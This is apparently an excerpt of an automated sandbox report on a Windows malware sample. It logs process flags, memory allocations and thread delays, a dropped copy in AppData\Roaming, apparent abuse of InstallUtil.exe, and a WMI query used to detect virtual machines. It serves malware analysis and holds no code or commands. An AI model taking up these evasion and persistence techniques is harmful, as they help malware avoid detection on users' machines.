Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Memory allocated: 1FD254F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Memory allocated: 1FD3EE20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: D80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2850000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 4850000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Memory allocated: AA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Memory allocated: 26D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Memory allocated: 46D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Memory allocated: 2CE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Memory allocated: 2EE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Memory allocated: 4EE0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1199922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1199812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1199703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1199593	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1199484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1199374	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1199265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1199156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1199047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1198936	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1198824	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1198717	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1198609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1198499	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1198390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1198281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1198161	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1198035	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1197883	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1197781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1197653	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1197531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1197390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1196958	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1196765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1195000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1194874	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1194764	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1194644	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1194515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1194402	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1194294	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1194186	Jump to behavior
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Window / User API: threadDelayed 3847	Jump to behavior
